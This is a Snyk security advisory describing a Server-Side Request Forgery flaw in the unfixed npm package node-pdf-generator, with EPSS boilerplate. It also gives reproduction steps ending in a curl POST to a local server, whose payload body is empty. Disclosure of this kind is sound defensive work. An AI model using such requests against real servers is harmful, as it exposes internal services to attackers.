Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Server-Side Request Forgery (SSRF) vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for node-pdf-generator
.
node-pdf-generator is a Web server to generate PDF's from HTML
Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). Due to lack of user input validation and sanitization done to the content given to node-pdf-generator
, it is possible for an attacker to craft a url that will be passed to an external server allowing an SSRF attack.
git clone https://github.com/darrenhaken/node-pdf-generator.git
cd node-pdf-generator
npm install
node index.js
The app will be available at https://localhost:1337
send crafted request like:
curl --location --request POST 'https://127.0.0.1:1337/' --header 'Content-Type: text/html' --data-raw ''